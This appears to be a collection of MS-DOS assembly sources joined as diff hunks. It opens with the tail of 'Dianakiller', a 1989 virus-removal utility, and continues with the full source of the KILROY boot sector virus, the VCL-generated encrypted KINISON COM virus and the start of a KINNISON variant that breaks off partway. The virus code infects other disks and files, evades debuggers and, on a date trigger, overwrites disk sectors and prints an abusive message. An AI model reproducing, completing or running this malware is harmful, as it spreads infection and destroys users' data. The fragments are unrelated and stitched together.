cmp al,cl
je nochatr
mov attr,cx
mov ax,4301h ;set attrib
clr cx ;to normal
int 21h
.br nochh
nochatr:
mov attr,0
nochh:
mov ax,3d02h ;open file R/W
int 21h
jnc kop1
jmp resatr
kop1: mov bx,ax
calln gettm
mov cx,18h
lea dx,bufer
mov ah,3fh ;read first 3 bytes
int 21h
jc closs2
mov di,dx
mov ax,ds:[di]
cmp ax,5a4dh
jne commfil
push bx
calln exework
pop bx
jc chek2
jmp closs
commfil:
mov al,ds:[di]
cmp al,0e9h
je mak111
jmp closs
mak111: mov si,ds:[di+1] ;relative offset
add si,3
mov di,si
sub si,68h
mov len,si
clr cx
mov dx,di
mov ax,4200h
int 21h ;seek to found e80000
closs2: jc clos21
lea dx,bufer
add dx,18h+3
mov cx,7 ;read 7 bytes
mov ah,3fh
int 21h ;read
clos21: jnc chek1
chek2: jmp closs
chek1:
mov di,dx
cmp ds:byte ptr[di],0e8h
jne chek2
cmp ds:word ptr[di+1],0
jne chek2
cmp ds:word ptr[di+4],0ee81h
jne chek2
cmp ds:word ptr[di+6],6bh
jne chek2
clr cx
mov dx,si
add dx,705h
mov ax,4200h
int 21h ;seek to found org 3bytes
jc closs
lea dx,bufer
add dx,18h
mov cx,3 ;read 3 bytes
mov ah,3fh
int 21h ;read
jc closs
lea si,bufer
restor3:
mov al,[si+18h]
mov [si],al
inc si
loop restor3
clr cx
clr dx
mov ax,4200h ;seek to begin
int 21h
jc closs
mov cx,18h
lea dx,bufer
mov ah,40h ;write
int 21h
jc closs
clr cx
mov dx,len
mov ax,4200h ;seek to end of real data
int 21h
jc resatr
exelen:
clr cx
mov ah,40h ;truncate file
int 21h
push bx
callp file
callz ffname
callp isok
pop bx
closs:
calln settm
mov ah,3eh
int 21h ;close file
resatr:
mov cx,attr ;to old attributes
or cx,cx
je retga
lea dx,ffname
mov ax,4301h ;set attrib
int 21h
retga:
ret
workcom endp
printz proc near
eter: mov ah,2
lodsb
or al,al
je caret
mov dl,al
int 21h
.br eter
caret:
ret
printz endp
gettm proc near
mov ax,5700h
int 21h
jc qget
mov atcx,cx
mov atdx,dx
qget:
ret
gettm endp
settm proc near
mov ax,5701h
mov cx,atcx
mov dx,atdx
or cx,cx
je qset
or dx,dx
je qset
int 21h
qset:
ret
settm endp
exework proc near
mov ax,[di+16h] ;get main lenght in pargarphs
mov cx,16
mul cx
push bx
mov bx,[di+8]
mov cl,4
shl bx,cl
add ax,[di+14h] ;get IP
adc dx,0
add ax,bx
adc dx,0
pop bx
mov exhlen,dx
mov exllen,ax
mov cx,dx
mov dx,ax
mov ax,4200h
int 21h ;seek to begin Diana code
lea dx,bufer
add dx,18h+3
mov cx,7 ;read 7 bytes
mov ah,3fh
int 21h ;read
jc echek2
mov di,dx
cmp ds:byte ptr[di],0e8h
jne echek2
cmp ds:word ptr[di+1],0
jne echek2
cmp ds:word ptr[di+4],0ee81h
jne echek2
cmp ds:word ptr[di+6],6bh
je exgoin
echek2:
stc
ret
exgoin:
sub exllen,68h
sbb exhlen,0 ;contains lenght of file
mov dx,exllen
mov cx,exhlen
add dx,707h
adc cx,0
mov ax,4200h
int 21h ;seek to old vectors
lea dx,bufer
add dx,26h
mov cx,1
mov ah,3fh
int 21h ;read old cs:ip, ss:sp
jc echek2
mov dx,exllen
mov cx,exhlen
add dx,6fdh
adc cx,0
mov ax,4200h
int 21h ;seek to old vectors
lea dx,bufer
add dx,18h
mov cx,8
mov ah,3fh
int 21h ;read old cs:ip, ss:sp
jc echek2
mov ax,llfil
mov dx,lhfil
sub ax,exllen
sbb dx,exhlen
mov lhfil,dx
mov llfil,ax
lea di,bufer
mov ax,[di+4]
mov cx,512
mul cx
add ax,[di+2]
adc dx,0
sub ax,llfil
sbb dx,lhfil
div cx
mov cx,dx
mov dl,[di+26h]
sub cx,dx
mov rema,cx
mov [di+2],dx ;store remainder of lenght
mov [di+4],ax ;store /512 lenght
mov ax,[di+18h] ;get ip
mov [di+14h],ax ;store
mov ax,[di+1ah] ;get cs:
mov [di+16h],ax ;store
mov ax,[di+1ch] ;get sp
mov [di+10h],ax ;store
mov ax,[di+1eh] ;get ss:
mov [di+0eh],ax ;store
clr cx
clr dx
mov ax,4200h
int 21h ;seek to prefix
mov cx,18h ;to write new prefix
lea dx,bufer
mov ah,40h
int 21h ;write 18h bytes prefix
mov cx,exhlen
mov dx,exllen
sub dx,rema
sbb cx,0
mov ax,4200h
int 21h ;seek end of file
jmp exelen
exework endp
findir proc near
; get dta
mov ah,2fh
int 21h
mov word ptr olddta[0],bx
mov word ptr olddta[2],es
;*****
lea dx,mydta
mov ah,1ah
int 21h
calln comwrk
mov word ptr fflag,0
calln basewr
; restore dta
push ds
lds dx,olddta
mov ah,1ah
int 21h
pop ds
ret
findir endp
basewr proc near
cmp word ptr fflag,0
jne nnextt
calln fdir
jc baret
jnc checkk
nnextt:
calln ndir
jc baret
checkk:
mov bx,odta
test ds:byte ptr[bx + dtas.atr],10h
je nnextt
cmp byte ptr dtas.sname[bx],'.'
je nnextt
mov ah,3bh ;chdir
mov dx,offset dtas.sname
add dx,bx
int 21h ;chdir
calln pdir
calln comwrk
mov fflag,0
inc coudir
calln basewr
bare:
pushf
lea dx,point
mov ah,3bh ;chdir up
int 21h ;chdir up
dec coudir
jns nosig
mov coudir,0
nosig:
mov fflag,1
popf
.br nnextt
baret:
ret
basewr endp
ndir proc near
calln stdta
mov ah,4fh
int 21h
ret
ndir endp
fdir proc near
calln stdta
lea dx,aster
mov cx,37h
mov ah,4eh
int 21h
ret
fdir endp
stdta proc near
mov ax,44
mul word ptr coudir
add ax,offset dtatab
mov odta,ax
mov dx,ax
mov ah,1ah
int 21h
ret
stdta endp
pdir proc near
push si
lea si,curdir
clr dl
mov ah,47h
int 21h
lea si,curdir
calln printz
callp carret
pop si
ret
pdir endp
prog ends
tail segment word 'prog' ;help segment to allocate end of code
xtail dw -1 ;and set the data segment
tail ends
data segment para public 'data' ;data segment
fname db 10h dup(0)
ffname db 10h dup(0)
mydta db 48 dup(?)
bufer db 28h dup(0)
dtatab dtas 12 dup(<>)
curdir db 64 dup(?)
_ss dw ? ;Lattice variables
_base dw ? ;Lattice variables
_dos dw ? ;Lattice variables
_top dw ? ;Lattice variables
odta dw 0
olddta dd 0
nepar dw 0
fhand dw 0
exhlen dw 0
exllen dw 0
llfil dw 0
lhfil dw 0
len dw 0
attr dw 0
atcx dw 0
atdx dw 0
rema dw 0
coudir dw 0
fflag dw 0
;notfnd db 'File not found',13,10,'$'
copyr db 'Dianakiller program V1.1 (C)Copyright Deny_Soft 1989',13,10,'$'
tryrem db 'Searching Diana in memory..',13,10,'$'
diakt db 'Diana found',7,' and removed extra',13,10,'$'
dinakt db "Diana isn't active",13,10,"$"
weak db 'Searching for weak files...',13,10,'$'
file db 'File $'
isok db 9,9,' ... restored',13,10,'$'
carret db 13,10,'$'
aster db '*.*',0
point db '..',0
root db '\',0
data ends
.pub <_ss,_base,_dos,_top> ;make external
udata segment public 'data'
udata ends
xstack segment 'data'
sbase dw 512 dup (?)
xstack ends
end start

@@ -0,0 +1,315 @@
;The KILROY one-sector boot sector virus will both boot up either MS-DOS or
;PC-DOS and it will infect other disks.
;This segment is where the first operating system file (IBMBIO.COM or IO.SYS)
;will be loaded and executed from. We don't know (or care) what is there, but
;we do need the address to jump to defined in a separate segment so we can
;execute a far jump to it.
DOS_LOAD SEGMENT AT 0070H
ASSUME CS:DOS_LOAD
ORG 0
LOAD: DB 0 ;Start of the first operating system program
DOS_LOAD ENDS
MAIN SEGMENT BYTE
ASSUME CS:MAIN,DS:MAIN,SS:NOTHING
;This jump instruction is just here so we can compile this program as a COM
;file. It is never actually executed, and never becomes a part of the boot
;sector. Only the 512 bytes after the address 7C00 in this file become part of
;the boot sector.
ORG 100H
START: jmp BOOTSEC
;The following two definitions are BIOS RAM bytes which contain information
;about the number and type of disk drives in the computer. These are needed by
;the virus to decide on where to look to find drives to infect. They are not
;normally needed by an ordinary boot sector.
ORG 0410H
SYSTEM_INFO: DB ? ;System info byte: Take bits 6 & 7 and add 1 to get number of
;disk drives on this system (eg 01 = 2 drives)
ORG 0475H
HD_COUNT: DB ? ;Number of hard drives in the system
;This area is reserved for loading the boot sector from the disk which is going
;to be infected, as well as the first sector of the root directory, when
;checking for the existence of system files and loading the first system file.
ORG 0500H
DISK_BUF: DW ? ;Start of the buffer
ORG 06FEH
NEW_ID: DW ? ;Location of AA55H in boot sector loaded at DISK_BUF
;Here is the start of the boot sector code. This is the chunk we will take out
;of the compiled COM file and put it in the first sector on a 360K floppy disk.
;Note that this MUST be loaded onto a 360K floppy to work, because the
;parameters in the data area that follow are set up to work only with a 360K
;disk!
ORG 7C00H
BOOTSEC: JMP BOOT ;Jump to start of boot sector code
ORG 7C03H ;This is needed because the jump will get coded as 2 bytes
DOS_ID: DB 'KILROY ' ;Name of this boot sector (8 bytes)
SEC_SIZE: DW 200H ;Size of a sector, in bytes
SECS_PER_CLUST: DB 02 ;Number of sectors in a cluster
FAT_START: DW 1 ;Starting sector for the first File Allocation Table (FAT)
FAT_COUNT: DB 2 ;Number of FATs on this disk
ROOT_ENTRIES: DW 70H ;Number of root directory entries
SEC_COUNT: DW 2D0H ;Total number of sectors on this disk
DISK_ID: DB 0FDH ;Disk type code (This is 360KB)
SECS_PER_FAT: DW 2 ;Number of sectors per FAT
SECS_PER_TRK: DW 9 ;Sectors per track for this drive
HEADS: DW 2 ;Number of heads (sides) on this drive
HIDDEN_SECS: DW 0 ;Number of hidden sectors on the disk
DSKBASETBL:
DB 0 ;Specify byte 1: step rate time, head unload time
DB 0 ;Specify byte 2: Head load time, DMA mode
DB 0 ;Wait time until motor turned off, in clock ticks
DB 0 ;Bytes per sector (0=128, 1=256, 2=512, 3=1024)
DB 12H ;Last sector number (we make it large enough to handle 1.2/1.44 MB floppies)
DB 0 ;Gap length between sectors for r/w operations, in bytes
DB 0 ;Data transfer length when sector length not specified
DB 0 ;Gap length between sectors for format operations, in bytes
DB 0 ;Value stored in newly formatted sectors
DB 1 ;Head settle time, in milliseconds (we set it small to speed operations)
DB 0 ;Motor startup time, in 1/8 seconds
HEAD: DB 0 ;Current head to read from (scratch area used by boot sector)
;Here is the start of the boot sector code
BOOT: CLI ;interrupts off
XOR AX,AX ;prepare to set up segments
MOV ES,AX ;set ES=0
MOV SS,AX ;start stack at 0000:7C00
MOV SP,OFFSET BOOTSEC
MOV BX,1EH*4 ;get address of disk
LDS SI,SS:[BX] ;param table in ds:si
PUSH DS
PUSH SI ;save that address
PUSH SS
PUSH BX ;and its address
MOV DI,OFFSET DSKBASETBL ;and update default
MOV CX,11 ;values to the table stored here
CLD ;direction flag cleared
DFLT1: LODSB
CMP BYTE PTR ES:[DI],0 ;anything non-zero
JNZ SHORT DFLT2 ;is not a default, so don't save it
STOSB ;else put default value in place
JMP SHORT DFLT3 ;and go on to next
DFLT2: INC DI
DFLT3: LOOP DFLT1 ;and loop until cx=0
MOV AL,AH ;set ax=0
MOV DS,AX ;set ds=0 so we can set disk tbl
MOV WORD PTR [BX+2],AX ;to @DSKBASETBL (ax=0 here)
MOV WORD PTR [BX],OFFSET DSKBASETBL ;ok, done
STI ;now turn interrupts on
INT 13H ;and reset disk drive system
ERROR1: JC ERROR1 ;if an error, hang the machine
;Attempt to self reproduce. If this boot sector is located on drive A, it will
;attempt to relocate to drive C. If successful, it will stop, otherwise it will
;attempt to relocate to drive B. If this boot sector is located on drive C, it
;will attempt to relocate to drive B.
SPREAD:
CALL DISP_MSG ;Display the "Kilroy was here!" message
MOV BX,OFFSET DISK_BUF ;read other boot sectors into this buffer
CMP BYTE PTR [DRIVE],80H
JZ SPREAD2 ;if it's C, go try to spread to B
MOV DX,180H ;if it's A, try to spread to C first, try Head 1
CMP BYTE PTR [HD_COUNT],0 ;see if there is a hard drive
JZ SPREAD2 ;none - try floppy B
MOV CX,1 ;read Track 0, Sector 1
MOV AX,201H
INT 13H
JC SPREAD2 ;on error, go try drive B
CMP WORD PTR [NEW_ID],0AA55H ;make sure it really is a boot sector
JNZ SPREAD2
CALL MOVE_DATA
MOV DX,180H ;and go write the new sector
MOV CX,1
MOV AX,301H
INT 13H
JC SPREAD2 ;if an error writing to C:, try infecting B:
JMP SHORT LOOK_SYS ;if no error, go look for system files
SPREAD2: MOV AL,BYTE PTR [SYSTEM_INFO] ;first see if there is a B drive
AND AL,0C0H
ROL AL,1 ;put bits 6 & 7 into bits 0 & 1
ROL AL,1
INC AL ;add one, so now AL=# of drives
CMP AL,2
JC LOOK_SYS ;no B drive, just quit
MOV DX,1 ;read drive B
MOV AX,201H ;read one sector
MOV CX,1 ;read Track 0, Sector 1
INT 13H
JC LOOK_SYS ;if an error here, just exit
CMP WORD PTR [NEW_ID],0AA55H ;make sure it really is a boot sector
JNZ LOOK_SYS ;no, don't attempt reproduction
CALL MOVE_DATA ;yes, move this boot sector in place
MOV DX,1
MOV AX,301H ;and write this boot sector to drive B
MOV CX,1
INT 13H
;Here we look at the first file on the disk to see if it is the first MS-DOS or
;PC-DOS system file, IO.SYS or IBMBIO.COM, respectively.
LOOK_SYS:
MOV AL,BYTE PTR [FAT_COUNT] ;get fats per disk
XOR AH,AH
MUL WORD PTR [SECS_PER_FAT] ;multiply by sectors per fat
ADD AX,WORD PTR [HIDDEN_SECS] ;add hidden sectors
ADD AX,WORD PTR [FAT_START] ;add starting fat sector
PUSH AX
MOV WORD PTR [DOS_ID],AX ;root dir, save it
MOV AX,20H ;dir entry size
MUL WORD PTR [ROOT_ENTRIES] ;dir size in ax
MOV BX,WORD PTR [SEC_SIZE] ;sector size
ADD AX,BX ;add one sector
DEC AX ;decrement by 1
DIV BX ;ax=# sectors in root dir
ADD WORD PTR [DOS_ID],AX ;DOS_ID=start of data
MOV BX,OFFSET DISK_BUF ;set up disk read buffer at 0000:0500
POP AX
CALL CONVERT ;and go convert sequential sector number to bios data
MOV AL,1 ;prepare for a disk read for 1 sector
CALL READ_DISK ;go read it
MOV DI,BX ;compare first file on disk with
MOV CX,11 ;required file name
MOV SI,OFFSET SYSFILE_1 ;of first system file for PC DOS
REPZ CMPSB
JZ SYSTEM_THERE ;ok, found it, go load it
MOV DI,BX ;compare first file with
MOV CX,11 ;required file name
MOV SI,OFFSET SYSFILE_2 ;of first system file for MS DOS
REPZ CMPSB
ERROR2: JNZ ERROR2 ;not the same - an error, so hang the machine
;Ok, system file is there, so load it
SYSTEM_THERE:
MOV AX,WORD PTR [DISK_BUF+1CH] ;get file size of IBMBIO.COM/IO.SYS
XOR DX,DX
DIV WORD PTR [SEC_SIZE] ;and divide by sector size
INC AL ;ax=number of sectors to read
MOV BP,AX ;store that number in BP
MOV AX,WORD PTR [DOS_ID] ;get sector number of start of data
PUSH AX
MOV BX,700H ;set disk read buffer to 0000:0700
RD_BOOT1: MOV AX,WORD PTR [DOS_ID] ;and get sector to read
CALL CONVERT ;convert to bios Trk/Cyl/Sec info
MOV AL,1 ;read one sector
CALL READ_DISK ;go read the disk
SUB BP,1 ;subtract 1 from number of sectors to read
JZ DO_BOOT ;and quit if we're done
ADD WORD PTR [DOS_ID],1 ;add sectors read to sector to read
ADD BX,WORD PTR [SEC_SIZE] ;and update buffer address
JMP RD_BOOT1 ;then go for another
;Ok, the first system file has been read in, now transfer control to it
DO_BOOT:
MOV CH,BYTE PTR [DISK_ID] ;Put drive type in ch
MOV DL,BYTE PTR [DRIVE] ;Drive number in dl
POP BX
; JMP FAR PTR LOAD ;use the nicer far jump if compiling with MASM or TASM
MOV AX,0070H ;A86 is too stupid to handle that,
PUSH AX ;so let's fool it with a far return
XOR AX,AX
PUSH AX
RETF
;Convert sequential sector number in ax to BIOS Track, Head, Sector information.
;Save track number in DX, sector number in CH,
CONVERT:
XOR DX,DX
DIV WORD PTR [SECS_PER_TRK] ;divide ax by sectors per track
INC DL ;dl=sector number to start read on, al=track/head count
MOV CH,DL ;save it here
XOR DX,DX
DIV WORD PTR [HEADS] ;divide ax by head count
MOV BYTE PTR [HEAD],DL ;dl=head number, save it
MOV DX,AX ;ax=track number, save it in dx
RET
;Read the disk for the number of sectors in al, into the buffer es:bx, using
;the track number in DX, the head number at HEAD, and the sector
;number at CH.
READ_DISK:
MOV AH,2 ;read disk command
MOV CL,6 ;shift possible upper 2 bits of track number to
SHL DH,CL ;the high bits in dh
OR DH,CH ;and put sector number in the low 6 bits
MOV CX,DX
XCHG CH,CL ;ch (0-5) = sector, cl, ch (6-7) = track
MOV DL,BYTE PTR [DRIVE] ;get drive number from here
MOV DH,BYTE PTR [HEAD] ;and head number from here
INT 13H ;go read the disk
ERROR3: JC ERROR3 ;hang in case of an error
RET
;Move data that doesn't change from this boot sector to the one read in at
;DISK_BUF. That includes everything but the DRIVE ID (at offset 7DFDH) and
;the data area at the beginning of the boot sector.
MOVE_DATA:
MOV SI,OFFSET DSKBASETBL ;Move all of the boot sector code after the data area
MOV DI,OFFSET DISK_BUF + (OFFSET DSKBASETBL - OFFSET BOOTSEC)
MOV CX,OFFSET DRIVE - OFFSET DSKBASETBL
REP MOVSB
MOV SI,OFFSET BOOTSEC ;Move the initial jump and the sector ID
MOV DI,OFFSET DISK_BUF
MOV CX,11
REP MOVSB
RET
;Display the null terminated string at MESSAGE.
DISP_MSG:
MOV SI,OFFSET MESSAGE ;set offset of message up
DM1: MOV AH,0EH ;Execute BIOS INT 10H, Fctn 0EH (Display Char)
LODSB ;get character to display
OR AL,AL
JZ DM2 ;repeat until 0
INT 10H ;display it
JMP SHORT DM1 ;and get another
DM2: RET
SYSFILE_1: DB 'IBMBIO COM' ;PC DOS System file
SYSFILE_2: DB 'IO SYS' ;MS DOS System file
MESSAGE: DB 'Kilroy was here!',0DH,0AH,0AH,0
ORG 7DFDH
DRIVE: DB 0 ;Disk drive (A or C) for this sector
BOOT_ID: DW 0AA55H ;Boot sector ID word
MAIN ENDS
END START

@@ -0,0 +1,420 @@
; KINISON.ASM -- Sam Kinsion Virus
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Nowhere Man
virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
main proc near
db 0E9h,00h,00h ; Near jump (for compatibility)
start: call find_offset ; Like a PUSH IP
find_offset: pop bp ; BP holds old IP
sub bp,offset find_offset ; Adjust for length of host
call encrypt_decrypt ; Decrypt the virus
start_of_code label near
lea si,[bp + buffer] ; SI points to original start
mov di,0100h ; Push 0100h on to stack for
push di ; return to main program
movsw ; Copy the first two bytes
movsb ; Copy the third byte
mov di,bp ; DI points to start of virus
mov bp,sp ; BP points to stack
sub sp,128 ; Allocate 128 bytes on stack
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer on stack
int 021h
stop_tracing: mov cx,09EBh
mov ax,0FE05h ; Acutal move, plus a HaLT
jmp $-2
add ah,03Bh ; AH now equals 025h
jmp $-10 ; Execute the HaLT
lea bx,[di + null_vector] ; BX points to new routine
push cs ; Transfer CS into ES
pop es ; using a PUSH/POP
int 021h
mov al,1 ; Disable interrupt 1, too
int 021h
jmp short skip_null ; Hop over the loop
null_vector: jmp $ ; An infinite loop
skip_null: mov byte ptr [di + lock_keys + 1],130 ; Prefetch unchanged
lock_keys: mov al,128 ; Change here screws DEBUG
out 021h,al ; If tracing then lock keyboard
call get_day
cmp ax,000Bh ; Did the function return 11?
jne skip00 ; If not equal, skip effect
call get_weekday
cmp ax,0005h ; Did the function return 5?
jne skip00 ; If not equal, skip effect
jmp short strt00 ; Success -- skip jump
skip00: jmp end00 ; Skip the routine
strt00: lea si,[di + data00] ; SI points to data
mov ah,0Eh ; BIOS display char. function
display_loop: lodsb ; Load the next char. into AL
or al,al ; Is the character a null?
je disp_strnend ; If it is, exit
int 010h ; BIOS video interrupt
jmp short display_loop ; Do the next character
disp_strnend:
end00: xor ah,ah ; BIOS get time function
int 01Ah
xchg dx,ax ; AX holds clock ticks
mov cx,0003h ; We'll divide by 3
cwd ; Sign-extend AX into DX:AX
div cx ; Divide AX by CX
or dx,dx ; Is there a remaindier?
jne no_infection ; If there is then don't spread
call search_files ; Find and infect a file
no_infection:
call get_day
cmp ax,000Bh ; Did the function return 11?
jne skip01 ; If not equal, skip effect
call get_weekday
cmp ax,0005h ; Did the function return 5?
jne skip01 ; If not equal, skip effect
jmp short strt01 ; Success -- skip jump
skip01: jmp end01 ; Skip the routine
strt01: mov ax,0004h ; First argument is 4
mov cx,0010h ; Second argument is 16
cli ; Disable interrupts (no Ctrl-C)
cwd ; Clear DX (start with sector 0)
trash_loop: int 026h ; DOS absolute write interrupt
dec ax ; Select the previous disk
cmp ax,-1 ; Have we gone too far?
jne trash_loop ; If not, repeat with new drive
sti ; Restore interrupts
end01:
com_end: pop dx ; DX holds original DTA address
mov ah,01Ah ; DOS set DTA function
int 021h
mov sp,bp ; Deallocate local buffer
xor ax,ax ;
mov bx,ax ;
mov cx,ax ;
mov dx,ax ; Empty out the registers
mov si,ax ;
mov di,ax ;
mov bp,ax ;
ret ; Return to original program
main endp
db 09Ch,054h,068h,09Eh,06Ch
search_files proc near
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,64 ; Allocate 64 bytes on stack
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 64] ; SI points to 64-byte buffer
int 021h
mov ah,03Bh ; DOS change directory function
lea dx,[di + root] ; DX points to root directory
int 021h
call traverse ; Start the traversal
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 64] ; DX points to old directory
int 021h
mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
root db "\",0 ; Root directory
search_files endp
traverse proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first function
mov cx,00010000b ; CX holds search attributes
lea dx,[di + all_files] ; DX points to "*.*"
int 021h
jc leave_traverse ; Leave if no files present
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
jne another_dir ; If not, try again
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
je another_dir ;If so, keep going
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 98] ; DX points to new directory
int 021h
call traverse ; Recursively call ourself
pushf ; Save the flags
mov ah,03Bh ; DOS change directory function
lea dx,[di + up_dir] ; DX points to parent directory
int 021h
popf ; Restore the flags
jnc done_searching ; If we infected then exit
another_dir: mov ah,04Fh ; DOS find next function
int 021h
jnc check_dir ; If found check the file
leave_traverse:
lea dx,[di + com_mask] ; DX points to "*.COM"
call find_files ; Try to infect a file
done_searching: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
up_dir db "..",0 ; Parent directory name
all_files db "*.*",0 ; Directories to search for
com_mask db "*.COM",0 ; Mask for all .COM files
traverse endp
db 083h,01Dh,064h,0E6h,08Ah
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
db 039h,01Ch,0DDh,0C2h,0DDh
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov si,bx ; SI points to the DTA
mov byte ptr [di + set_carry],0 ; Assume we'll fail
cmp word ptr [si + 01Ah],(65279 - (finish - start))
jbe size_ok ; If it's small enough continue
jmp infection_done ; Otherwise exit
size_ok: mov ax,03D00h ; DOS open file function, r/o
lea dx,[si + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; BX holds file handle
mov ah,03Fh ; DOS read from file function
mov cx,3 ; CX holds bytes to read (3)
lea dx,[di + buffer] ; DX points to buffer
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
xchg dx,ax ; Faster than a PUSH AX
mov ah,03Eh ; DOS close file function
int 021h
xchg dx,ax ; Faster than a POP AX
sub ax,finish - start + 3 ; Adjust AX for a valid jump
cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
je infection_done ; If equal then exit
mov byte ptr [di + set_carry],1 ; Success -- the file is OK
add ax,finish - start ; Re-adjust to make the jump
mov word ptr [di + new_jump + 1],ax ; Construct jump
mov ax,04301h ; DOS set file attrib. function
xor cx,cx ; Clear all attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
mov ax,03D02h ; DOS open file function, r/w
int 021h
xchg bx,ax ; BX holds file handle
mov ah,040h ; DOS write to file function
mov cx,3 ; CX holds bytes to write (3)
lea dx,[di + new_jump] ; DX points to the jump we made
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
push si ; Save SI through call
call encrypt_code ; Write an encrypted copy
pop si ; Restore SI
mov ax,05701h ; DOS set file time function
mov cx,[si + 016h] ; CX holds old file time
mov dx,[si + 018h] ; DX holds old file date
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attrib. function
xor ch,ch ; Clear CH for file attribute
mov cl,[si + 015h] ; CX holds file's old attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
ret ; Return to caller
set_carry db ? ; Set-carry-on-exit flag
buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
new_jump db 0E9h,?,? ; New jump to virus
infect_file endp
db 087h,04Ch,0B3h,047h,001h
get_day proc near
mov ah,02Ah ; DOS get date function
int 021h
mov al,dl ; Copy day into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_day endp
db 0FFh,024h,0C3h,092h,07Fh
get_weekday proc near
mov ah,02Ah ; DOS get date function
int 021h
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_weekday endp
data00 db 7,7,7,"DIE BITCH!!!!! AHHHHHHHH!!!!!!!",13,10,0
vcl_marker db "[VCL]",0 ; VCL creation marker
note db "This *VIRUS* is dedecated to t"
db "he memory of Sam Kinsion, 1954"
db "-1992",0
db "[Kinison]",0
db "Nowhere Man, [NuKE] '92",0
encrypt_code proc near
push bp ; Save BP
mov bp,di ; Use BP as pointer to code
lea si,[bp + encrypt_decrypt]; SI points to cipher routine
xor ah,ah ; BIOS get time function
int 01Ah
mov word ptr [si + 9],dx ; Low word of timer is new key
xor byte ptr [si + 1],8 ;
xor byte ptr [si + 8],1 ; Change all SIs to DIs
xor word ptr [si + 11],0101h; (and vice-versa)
lea di,[bp + finish] ; Copy routine into heap
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
push si ; Save SI for later
push cx ; Save CX for later
rep movsb ; Copy the bytes
lea si,[bp + write_stuff] ; SI points to write stuff
mov cx,5 ; CX holds length of write
rep movsb ; Copy the bytes
pop cx ; Restore CX
pop si ; Restore SI
inc cx ; Copy the RET also this time
rep movsb ; Copy the routine again
mov ah,040h ; DOS write to file function
lea dx,[bp + start] ; DX points to virus
lea si,[bp + finish] ; SI points to routine
call si ; Encrypt/write/decrypt
mov di,bp ; DI points to virus again
pop bp ; Restore BP
ret ; Return to caller
write_stuff: mov cx,finish - start ; Length of code
int 021h
encrypt_code endp
end_of_code label near
encrypt_decrypt proc near
lea si,[bp + start_of_code] ; SI points to code to decrypt
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
inc si ; Do the next word
inc si ;
loop xor_loop ; Loop until we're through
ret ; Return to caller
encrypt_decrypt endp
finish label near
code ends
end main
@@ -0,0 +1,397 @@
; KINNISON.ASM -- Sam Kinnison virus
; Created by Nowhere Man's Virus Creation Labratory v0.75
; Written by Nowhere Man
virus_type equ 0
code segment 'CODE'
assume cs:code,ds:code,es:code,ss:code
org 0100h
main proc near
flag: mov ah,0
nop
nop
jmp start ; Would be at start of victim
nop
nop
start: call find_offset ; Push IP on to stack, advance IP
find_offset: pop di ; DI holds old IP
sub di,3 ; Adjust for length of CALL
lea si,[di + start_of_code - start] ; SI points to code
call encrypt_decrypt ; Decrypt the code
start_of_code label near
push di ; Save DI
mov si,offset flag ; SI points to flag bytes
lea di,[di + new_jump - start] ; DI points to start of jump
movsw ; Transfer two bytes
movsw ; Transfer two bytes
pop di ; Restore DI
push di ; And save it for later
lea si,[di + buffer - start]; SI points to old start
mov di,0100h ; DI points to start of code
movsw ; Transfer two bytes
movsw ; Transfer two bytes
movsw ; Transfer two bytes
movsb ; Transfer final byte
pop di ; Restore DI
mov bp,sp ; BP points to stack
sub sp,128 ; Allocate 128 bytes on stack
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address on stack
mov ah,01Ah ; DOS set DTA function
